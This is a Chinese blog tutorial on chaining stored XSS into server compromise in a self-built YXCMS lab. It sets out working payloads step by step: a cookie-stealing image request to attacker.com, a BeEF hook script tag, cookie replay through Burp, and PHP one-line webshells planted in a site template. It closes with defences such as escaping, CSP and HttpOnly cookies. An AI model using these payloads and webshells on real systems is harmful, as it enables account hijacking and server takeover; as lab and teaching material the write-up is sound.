多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

从XSS弹窗到GetShell:存储型跨站脚本攻击实战与防御

从XSS弹窗到GetShell:存储型跨站脚本攻击实战与防御 1. 项目概述从“弹窗”到“实战”的跨越很多朋友在初学Web安全特别是XSS跨站脚本攻击时往往止步于在输入框里敲入一个scriptalert(1)/script看到浏览器弹出一个对话框就心满意足地认为“我懂了”。这就像学开车只学会了按喇叭离真正上路还差得远。弹窗只是XSS最基础、最无害的“症状”演示它证明了漏洞的存在但远未触及漏洞的“威力”与“危害”。真正的XSS攻击其目标是窃取用户会话、钓鱼诈骗、键盘记录甚至是以此为跳板进一步获取服务器权限即GetShell。今天我们就来彻底告别这种“玩具级”的玩法。我将带你使用最经典的PHPStudy集成环境快速搭建一个存在真实漏洞的YXCMS内容管理系统作为靶场。在这个靶场里我们将复现一个完整的“存储型XSS - 窃取管理员Cookie - 登录后台 - 写入WebShell - 获取服务器权限”的攻击链。这个过程就是XSS从“概念验证”到“武器化利用”的“进阶玩法”。通过亲手操作一遍你不仅能深刻理解XSS的危害性更能掌握一套在真实渗透测试或安全评估中可用的、连贯的攻击思路与工具链。2. 环境准备与靶场搭建2.1 工具与软件选型解析工欲善其事必先利其器。我们选择以下工具是基于其稳定性、普及度和学习成本的综合考量PHPStudy v8.1 (Windows环境)这是我们的“地基”。它集成了Apache/Nginx、PHP、MySQL、phpMyAdmin等一键安装、一键启停能让我们在几分钟内就拥有一个功能完整的Web服务器环境。选择它而不是单独配置是为了将精力100%集中在漏洞原理和攻击手法上避免在环境配置上消耗过多时间。注意请从PHPStudy官网下载避免使用来路不明的版本。YXCMS 1.4.7 (或存在漏洞的早期版本)这是我们本次演练的“主角”一个基于PHPMySQL的开源CMS。我们特意选择一个已知存在存储型XSS漏洞的旧版本例如1.4.7这符合安全研究的伦理——在可控的、自己搭建的环境里进行测试。你可以在一些开源漏洞平台或历史版本存档中找到它。Kali Linux (虚拟机或物理机)作为我们的“攻击机”。Kali内置了海量的安全工具我们本次主要用到其中的BeEF浏览器攻击框架。你也可以在Windows上单独安装BeEF但Kali环境更纯粹、更省心。Burp Suite Community (社区版)Web安全测试的“瑞士军刀”。我们将用它来拦截、修改HTTP请求特别是后续的Cookie替换操作。中国蚁剑 (AntSword)一款功能强大的WebShell管理工具。我们将用它来连接我们最终写入的WebShell验证GetShell是否成功。注意所有操作请在你自己完全控制的虚拟机或物理机环境中进行。严禁对任何未经授权的线上系统进行测试这是法律和道德的底线。2.2 一步步搭建YXCMS靶场假设你的PHPStudy安装在C:\phpStudyWWW根目录是C:\phpStudy\WWW。启动PHPStudy服务 打开PHPStudy确保Apache和MySQL服务都显示为绿色“运行”状态。如果MySQL启动失败常见错误如端口3306被占用可以点击“其他选项菜单”-“PHPStudy设置”-“端口常规设置”修改MySQL端口例如改为3307并重启服务。部署YXCMS源码 将下载的YXCMS压缩包解压得到的文件夹例如名为yxcms复制到C:\phpStudy\WWW\目录下。此时你应该能通过浏览器访问http://localhost/yxcms/看到YXCMS的安装引导页面。安装与配置YXCMS 访问http://localhost/yxcms/install/按照页面提示进行安装。数据库配置数据库地址填写localhost如果MySQL端口改了如3307则填localhost:3307。数据库名、用户名、密码根据你在PHPStudy中设置的MySQL信息填写默认用户root密码root。建议新建一个数据库如yxcms_test。管理员账号设置一个后台管理账号和密码务必记牢例如admin/admin123。安装完成后根据提示删除或重命名install目录这是安全最佳实践。验证环境 访问http://localhost/yxcms/应能看到网站首页。访问http://localhost/yxcms/admin应能使用刚才设置的管理员账号登录后台。至此一个存在漏洞的“活靶子”就立起来了。3. 漏洞原理深度剖析存储型XSS为何危险在动手之前我们必须搞清楚我们即将利用的到底是什么。XSS主要分为反射型、存储型和DOM型。我们本次聚焦的存储型XSS是危害最大、利用起来最“持久”的一种。核心原理攻击者将恶意脚本代码如JavaScript提交到目标网站的服务器例如通过留言板、评论、用户资料等输入点。网站后端程序在未对输入进行充分过滤和转义的情况下就将这些数据存入数据库。之后当其他用户包括管理员浏览包含这些恶意数据的页面时恶意脚本就会在他们的浏览器中自动加载并执行。与“弹窗alert”的本质区别弹窗仅仅证明了“这里可以执行JS代码”。它是一次性的仅对触发它的当前用户通常是你自己产生影响。进阶利用恶意脚本可以做任何该网站域下JS能做的事情。例如document.cookie窃取当前浏览者的会话Cookie。如果浏览者是管理员攻击者就能用这个Cookie冒充管理员登录后台。new Image().srchttp://attacker.com/steal?dataencodeURIComponent(document.cookie)将窃取的Cookie悄无声息地发送到攻击者控制的服务器。修改页面内容进行钓鱼。发起进一步的AJAX请求执行敏感操作。在YXCMS的留言板功能中正是由于对用户输入的留言内容没有进行严格的过滤和HTML实体转义导致了存储型XSS漏洞。我们的攻击路径就是作为“游客”在留言板插入恶意代码 - 管理员在后台查看留言 - 恶意代码在管理员浏览器执行 - 窃取其Cookie - 我们使用该Cookie登录后台。4. 攻击链实战从XSS到GetShell现在让我们扮演攻击者完整走通这条攻击链。4.1 第一阶段投递“鱼钩”——植入恶意XSS载荷仅仅弹窗的scriptalert(1)/script已经不能满足我们了。我们需要一个能“钓”回信息的“鱼钩”。这里我们使用BeEF (The Browser Exploitation Framework)。启动BeEF 在Kali Linux中打开终端输入命令sudo beef-xss启动。首次启动会提示设置密码请设置一个强密码并牢记。启动成功后终端会显示访问BeEF控制台的URL通常是http://[kali_ip]:3000/ui/panel和Hook URL如script srchttp://[kali_ip]:3000/hook.js/script。记下你的Kali IP地址在Kali终端用ip a命令查看。构造并投递XSS载荷 访问我们搭建的YXCMS前台页面找到留言板功能通常在“留言”或“反馈”模块。在留言内容中我们不再输入简单的弹窗代码而是输入BeEF生成的Hook代码script srchttp://[你的Kali_IP]:3000/hook.js/script例如script srchttp://192.168.1.105:3000/hook.js/script。 提交这条留言。此时恶意脚本已被存储到YXCMS的数据库中。4.2 第二阶段“鱼儿上钩”——诱捕管理员会话现在我们需要模拟“管理员查看留言”这个动作。登录YXCMS后台 打开一个新的浏览器窗口或隐身窗口访问http://localhost/yxcms/admin使用管理员账号如admin/admin123登录。这是为了模拟一个拥有合法会话的管理员环境。触发XSS 在后台管理界面找到“留言管理”或类似功能点击进入查看留言列表。当你浏览到那条包含BeEF Hook的留言时恶意脚本就会在你的管理员浏览器中执行。BeEF控制台捕获 回到Kali打开浏览器访问BeEF控制台http://[kali_ip]:3000/ui/panel使用启动时设置的用户名默认beef和密码登录。在控制台左侧的“Hooked Browsers”区域你应该能看到一个新上线的浏览器其IP地址是你的Windows主机IP。点击它右侧会显示该浏览器的详细信息、可执行的命令模块等。实操心得如果没看到浏览器上线请依次检查1) Kali和Windows主机网络是否互通能否互相ping通2) Windows防火墙是否拦截了3000端口的出站连接3) 留言内容中的Hook URL IP地址是否正确。窃取Cookie 在BeEF控制台中选中上线的浏览器在“Commands”标签页中找到“Browser” - “Hook Domain”下的“Get Cookie”模块。点击“Execute”执行。执行成功后在右下角的“Result”区域你就能看到从管理员浏览器中窃取到的完整Cookie字符串。将其完整复制下来。4.3 第三阶段冒名顶替——Cookie劫持登录后台现在我们有了管理员的Cookie就可以在不输入账号密码的情况下直接“变成”他。配置Burp Suite拦截与替换打开Burp Suite确保代理监听开启默认127.0.0.1:8080。配置你的浏览器以Chrome为例安装SwitchyOmega插件将流量指向Burp代理。在Burp的Proxy - Options选项卡下找到Match and Replace规则设置。点击“Add”添加一条新规则Type:Request headerMatch:^Cookie:.*$(这是一个正则表达式匹配以“Cookie:”开头的整个请求头行)Replace:Cookie: [你刚刚从BeEF复制的完整Cookie字符串]勾选“Regex match”和“Enabled”。这条规则的作用是所有经过Burp的HTTP请求其Cookie头都会被替换成我们指定的管理员Cookie。访问后台 保持Burp拦截开启Proxy - Intercept 设置为 off让流量自动通过但被修改然后直接用浏览器访问YXCMS后台首页http://localhost/yxcms/admin/index.php。关键验证神奇的事情发生了你没有输入任何账号密码页面直接显示管理员后台的仪表盘成功登录。这是因为服务器通过我们伪造的Cookie识别出了管理员身份。你可以随意浏览后台功能确认权限完整。4.4 第四阶段直捣黄龙——写入WebShell并控制服务器获取后台权限不是终点我们的最终目标是服务器控制权。在CMS后台通常有编辑网站模板的功能这为我们写入WebShell提供了绝佳路径。定位模板编辑功能 在YXCMS后台寻找类似“模板管理”、“风格设置”、“文件管理”的菜单。找到可以编辑网站前端PHP模板文件的地方。通常首页对应的模板文件是index_index.php或index.php。插入WebShell代码 编辑index_index.php文件在文件的最后、?标签之前如果存在插入一行PHP一句话木马代码。为了隐蔽可以稍作变形?php eval($_POST[pass]);?或者更隐蔽的?php if(isset($_GET[cmd])){ system($_GET[cmd]); } ?保存模板。使用中国蚁剑连接打开中国蚁剑点击“添加数据”。URL地址填写我们写入WebShell的页面http://localhost/yxcms/index.php(因为首页会加载包含木马的模板)。连接密码填写我们POST的参数名例如pass。编码器、请求头等保持默认点击“添加”。双击新添加的服务器如果一切正常你会成功连接到服务器文件系统可以看到C:\phpStudy\WWW\yxcms\目录下的所有文件。验证权限 在蚁剑的虚拟终端中尝试执行命令whoami或ipconfig。如果成功返回系统信息和IP地址则证明我们已经成功通过WebShell获取了服务器以Web服务进程身份如apache或nt authority\system的执行权限即完成了GetShell。5. 防御方案与深度思考成功攻击之后我们必须站在防御者的角度思考如何防止这样的攻击链发生输入验证与过滤原则不相信任何用户输入。对所有输入进行严格的“白名单”验证。实施对于留言板内容如果只允许纯文本则应在后端接收时使用HTML实体转义函数如PHP的htmlspecialchars()进行处理将,,,,等字符转换为lt;,gt;,amp;,quot;,#x27;。这样即使用户输入了脚本标签在浏览器显示时也只是文本而不会被执行。// 示例在输出到页面前进行转义 $clean_content htmlspecialchars($user_input, ENT_QUOTES, UTF-8); echo $clean_content;输出编码根据输出位置HTML正文、HTML属性、JavaScript、CSS、URL采用不同的编码规则。仅仅转义尖括号是不够的在HTML属性里还需要防止和来闭合属性。内容安全策略 (CSP)CSP是一个重要的纵深防御措施。通过HTTP头Content-Security-Policy告诉浏览器只允许执行来自特定来源的脚本内联脚本像我们这种直接写在HTML里的script将被阻止执行。例如一个严格的CSP头可以是Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com;这能有效遏制未经授权的脚本执行。HttpOnly Cookie在设置会话Cookie时添加HttpOnly标志。这样JavaScript包括被注入的恶意JS就无法通过document.cookie读取到此Cookie从根本上切断了XSS窃取会话的路径。在PHP中设置setcookie(‘session_id‘, $value, [‘httponly‘ true]);权限最小化与后台安全加固即使攻击者通过某种方式进入了后台也应通过权限细分、操作审计、二次验证如后台操作需验证密码、限制模板编辑权限如不允许编辑PHP文件或对编辑内容进行安全扫描等方式增加其进一步GetShell的难度。6. 常见问题与排查实录在复现这个过程中你可能会遇到以下问题这里提供我的排查思路PHPStudy中MySQL无法启动错误1064或2003问题端口冲突是最常见原因。解决打开PHPStudy进入“其他选项菜单”-“PHPStudy设置”-“端口常规设置”将MySQL端口从默认的3306改为3307、3308等保存并重启服务。之后在安装YXCMS时数据库地址记得加上端口如localhost:3307。BeEF Hook后浏览器不上线检查网络确保Windows攻击机可以ping通Kali的IP。关闭Windows公用网络的防火墙仅实验环境或添加入站规则允许3000端口。检查载荷确认留言中插入的script标签的src地址IP和端口完全正确。可以在Windows浏览器直接访问http://[kali_ip]:3000/hook.js看是否能下载到JS文件。检查BeEF确认BeEF服务正常运行无报错。Burp替换Cookie后仍无法登录后台检查规则确保Match and Replace规则已启用Enabled打勾且“Regex match”已勾选。匹配项^Cookie:.*$必须写对。检查Cookie值从BeEF获取的Cookie是否完整是否包含了会话名如PHPSESSID和值直接复制整个结果框的内容。清除浏览器本地Cookie在测试前最好在用于模拟管理员的浏览器中清除本地所有关于该站点的Cookie避免干扰。蚁剑连接WebShell失败检查WebShell代码确认插入的PHP代码语法正确且插入到了会被执行的文件如首页模板。检查URL连接的URL是否是包含WebShell代码的页面地址。检查PHP设置某些环境可能禁用了eval()等危险函数。可以尝试使用其他类型的WebShell代码如assert()或system()。查看错误信息打开Burp或浏览器开发者工具的网络面板查看蚁剑连接时服务器的返回是否有PHP报错信息。通过这一整套从环境搭建、漏洞原理理解、武器化利用到最终防御的完整闭环实践你对XSS的认识将不再停留在弹窗警告。你会明白一个看似微小的输入点漏洞在攻击链的加持下足以成为摧毁整个系统安全的突破口。这才是Web安全学习的正确姿势——在安全的靶场里进行贴近真实的“实战演练”。
返回列表